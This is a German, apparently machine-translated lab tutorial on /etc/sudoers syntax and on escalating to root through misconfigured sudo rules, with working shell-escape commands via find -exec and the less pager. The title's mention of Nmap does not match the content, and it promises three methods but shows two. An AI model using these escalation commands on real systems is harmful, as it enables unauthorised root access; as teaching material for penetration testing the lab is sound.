Sudo-Privilegien-Eskalationsmethoden in Nmap lernen

Beginner

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Lab lernen Sie die Syntax der sudo-Konfigurationsdatei kennen und üben drei gängige Methoden zur Privilegiensteigerung mithilfe von sudo-Schwachstellen oder Fehleinstellungen. Das Ziel besteht darin, ein besseres Verständnis dafür zu erlangen, wie man sudo während eines Penetrationstests zur Privilegiensteigerung nutzen kann.


Skills Graph

Syntax der sudo-Konfigurationsdatei

In diesem Schritt lernen Sie die Syntax der Datei /etc/sudoers kennen, die zur Konfiguration der sudo-Privilegien verwendet wird.

Die Datei /etc/sudoers wird verwendet, um anzugeben, welche Benutzer oder Gruppen Befehle mit erhöhten Rechten ausführen können. Um den Inhalt der Datei /etc/sudoers anzuzeigen und zu speichern, führen Sie den folgenden Befehl aus:

sudo cat /etc/sudoers | grep root > /home/labex/project/sudoers.txt

Die Ausgabe sollte in etwa wie folgt aussehen:

## This file MUST be edited with the 'visudo' command as root.
## This preserves proxy settings from user environments of root
## While you shouldn't normally run git as root, you need to with etckeeper
## Per-user preferences; root won't have sensible values for them.
root    ALL=(ALL:ALL) ALL
## Members of the admin group may gain root privileges

Diese Zeile gibt an, dass der Benutzer root jeden Befehl als beliebigen Benutzer oder Gruppe auf allen Hosts ausführen kann.

Die allgemeine Syntax für einen Eintrag in der sudoers-Datei lautet:

user_or_group_name  host_list=(run_as_user:run_as_group)  command_list
  • user_or_group_name: Der Benutzer oder die Gruppe, auf die die Regel angewendet wird.
  • host_list: Der oder die Hosts, auf denen die Regel gilt. Der Wert ALL bedeutet alle Hosts.
  • run_as_user: Der Benutzer, dessen Privilegien zum Ausführen des Befehls verwendet werden. Der Wert ALL bedeutet beliebiger Benutzer.
  • run_as_group: Die Gruppe, deren Privilegien zum Ausführen des Befehls verwendet werden. Der Wert ALL bedeutet beliebige Gruppe.
  • command_list: Der oder die Befehle, die der Benutzer oder die Gruppe ausführen darf.

Sudo ermöglicht Privilegiensteigerung ohne Argumenteinschränkungen

In diesem Schritt üben Sie die Privilegiensteigerung, indem Sie Fehleinstellungen von sudo nutzen, die es ermöglichen, jeden Befehl mit erhöhten Rechten auszuführen.

  1. Öffnen Sie zunächst ein Terminal und navigieren Sie in das Verzeichnis /home/labex/project.

    cd /home/labex/project
  2. Initialisieren Sie die Umgebung, indem Sie den folgenden Befehl ausführen:

    ./env_setup_1.sh
  3. Sie sind jetzt als Benutzer user001 angemeldet.

    Verwenden Sie den Befehl sudo -l, um Ihre sudo-Privilegien zu prüfen:

    sudo -l
    (root) NOPASSWD:/usr/bin/find

    Dies bedeutet, dass Sie den Befehl find mit root-Rechten ohne Passwort ausführen können.

  4. Um die Privilegien zu erhöhen, führen Sie aus:

    sudo find /home -exec /bin/bash \;

    Sie sollten jetzt eine root-Shell haben.

  5. Erstellen Sie eine Datei namens success_1.txt im Verzeichnis /root, um zu überprüfen, dass Sie root-Rechte haben:

    echo "success_1" | sudo tee /root/success_1.txt

    Überprüfen Sie die Datei, indem Sie ausführen:

    cat /root/success_1.txt

    Die Ausgabe sollte success_1 sein.

Sudo ermöglicht Privilegiensteigerung mit spezifischen Befehlsargumenten

In diesem Schritt üben Sie die Privilegiensteigerung, indem Sie Fehleinstellungen von sudo nutzen, die es ermöglichen, bestimmte Befehle mit erhöhten Rechten auszuführen.

Nach dem letzten Schritt sind Sie immer noch als Benutzer root angemeldet. Um mit diesem Schritt fortzufahren, müssen Sie das aktuelle Terminal schließen und ein neues Terminal öffnen.

  1. Öffnen Sie zunächst ein Terminal und navigieren Sie in das Verzeichnis /home/labex/project.

    cd /home/labex/project
  2. Initialisieren Sie die Umgebung, indem Sie den folgenden Befehl ausführen:

    ./env_setup_2.sh
  3. Prüfen Sie Ihre sudo-Privilegien mit sudo -l:

    sudo -l

    Erwartete Ausgabe:

    (root) NOPASSWD: /bin/less /var/log/messages

    Dies bedeutet, dass Sie den Befehl /bin/less /var/log/messages mit root-Rechten ohne Passwort ausführen können.

  4. Um die Privilegien zu erhöhen, führen Sie aus:

    sudo less /var/log/messages

    Sobald Sie sich im less-Pager befinden, führen Sie aus:

    !/bin/bash

    Sie sollten jetzt eine root-Shell haben.

  5. Erstellen Sie eine Datei namens success_2.txt im Verzeichnis /root, um zu überprüfen, dass Sie root-Rechte haben:

    echo "success_2" | sudo tee /root/success_2.txt

    Überprüfen Sie die Datei, indem Sie ausführen:

    cat /root/success_2.txt

    Die Ausgabe sollte success_2 sein.

Zusammenfassung

In diesem Lab haben Sie die Syntax der Datei /etc/sudoers und die Konfiguration von sudo-Privilegien kennengelernt. Sie haben auch drei gängige Methoden zur Privilegiensteigerung mithilfe von sudo-Fehleinstellungen oder -Schwachstellen geübt. Indem Sie verstehen, wie Sie sudo zur Privilegiensteigerung nutzen können, können Sie potenzielle Sicherheitsrisiken in Linux-Systemen besser bewerten und mindern.